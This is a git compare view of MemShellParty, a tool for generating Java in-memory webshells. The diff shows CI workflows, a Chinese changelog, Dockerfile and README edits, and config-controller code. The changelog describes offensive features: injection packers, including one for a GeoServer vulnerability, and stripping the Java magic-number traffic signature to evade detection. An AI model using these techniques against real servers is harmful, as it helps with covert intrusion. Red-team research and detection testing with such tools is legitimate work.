Compare commits

..
57 Commits
Author SHA1 Message Date
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
213 changed files with 2270 additions and 1057 deletions
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -0,0 +1,76 @@
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+1 -1
View File
@@ -112,7 +112,7 @@ jobs:
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v6
with: with:
context: boot context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
build-args: | build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party ROUTE_ROOT_PATH=/redqueen-memshell-party
-174
View File
@@ -1,174 +0,0 @@
name: Test
on:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+45 -13
View File
@@ -5,12 +5,48 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13 ## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
### Added
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
```http
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
```
改为只需要如下方式
```http
/path/code?payload=IBVQEAJ29yZy9hcGFj...
```
### Fixed
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
### Changed
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
2. 去除 logbackjava11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
7. 优化 Agent Attacher JDK11 异常处理
8. 依赖更新
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
> [!WARNING] > [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 > 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
### Added ### Added
@@ -28,18 +64,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Changed ### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74) - **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` - **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码 - 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度 - 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用 - 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs) - 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块 - 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell - 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令 - 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler - 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
+3 -3
View File
@@ -1,4 +1,4 @@
FROM buildpack-deps:bullseye-scm AS source FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
WORKDIR /usr/src WORKDIR /usr/src
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.19 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
+6 -8
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p> <p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -29,9 +24,12 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
![normal_generator](asserts/normal_generator.png) <p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
![agent_generator](asserts/agent_generator.png) <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性 ## 主要特性
Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
@@ -27,7 +26,8 @@ public class ConfigController {
Map<String, List<String>> servers = new LinkedHashMap<>(); Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes(); Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList()); servers.put(supportedServer, supportedShellTypes.stream().toList());
} }
return servers; return servers;
@@ -46,16 +46,13 @@ public class ConfigController {
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer); AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue;
}
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : server.getSupportedShellTools()) { for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
} }
map.put(shellTool.name(), supportedShellTypes); map.put(shellTool, supportedShellTypes);
} }
coreMap.put(supportedServer, map); coreMap.put(supportedServer, map);
} }
@@ -6,6 +6,8 @@ import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/18 * @since 2024/12/18
@@ -36,38 +38,38 @@ public class MemShellGenerateRequest {
return switch (shellConfig.getShellTool()) { return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder() case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getGodzillaPass())
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8))) .key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Behinder -> BehinderConfig.builder() case Behinder -> BehinderConfig.builder()
